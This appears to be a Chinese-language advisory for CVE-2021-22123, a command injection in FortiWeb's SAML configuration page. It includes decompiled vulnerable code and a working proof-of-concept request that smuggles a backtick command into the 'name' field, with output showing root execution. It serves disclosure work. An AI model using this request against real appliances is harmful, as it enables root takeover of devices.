
[CVE-2021-22123] Fortinet FortiWeb 认证操作系统命令注入
[CVE-2021-22123] Fortinet FortiWeb 认证操作系统命令注入
Hit Counter
FortiWeb 管理界面中的命令注入漏洞可能允许已认证的远程攻击者通过 SAML 服务器配置页面在系统中执行任意命令。以最高权限执行命令将导致攻击者完全控制服务器。这是 CWE-78:OS 命令中特殊元素的不当中和 的一个实例,其 CVSSv3 基础评分为 8.7。该漏洞的编号为 CVE-2021-22123,已在 Fortiguard Lab 页面 (FG-IR-20-120) 中得到解决。
基本上,SAML 代表安全断言标记语言(Security Assertion Markup Language),它是一种基于 XML 的开放标准,用于在双方之间传输身份数据:身份提供者(IdP)和服务提供者(SP)。它旨在确保单点登录(Single Sign-On)机制的运行,该机制允许您使用单一标识访问各种软件产品。
FortiWeb all versions prior to 6.3.7 及更低版本存在已认证操作系统命令注入漏洞。成功利用此漏洞可能导致以最高权限完全控制受影响的设备。他们可能会安装持久化 shell、加密货币挖矿软件或其他恶意软件。在管理接口暴露于互联网的极少数情况下,他们可以利用被入侵的平台深入受影响网络,越过 DMZ 进行访问。
攻击者首先通过 FortiWeb 设备管理接口的认证,然后可以在 SAML 服务器配置页面的 name 字段中使用反引号注入命令。这些命令随后以底层操作系统的 root 用户身份执行。易受攻击的代码部分如下所示。
int move_metafile(char * path, char * name) {
int iVar1;
char buf[512];
int nret;
snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = access(buf, 0);
if (iVar1 != 0) {
snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
"Metadata", & DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
概念验证 (PoC): 以下 POST 请求可用于利用此漏洞。
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
最后,可以在 FortiWeb 设备的本地命令行上看到 'touch' 命令的结果。
/# ls -l /tmp/CVE-2021-22123
-rw-r--r-- 1 root 0 0 Aug 10 15:48 /tmp/CVE-2021-22123
参考资料: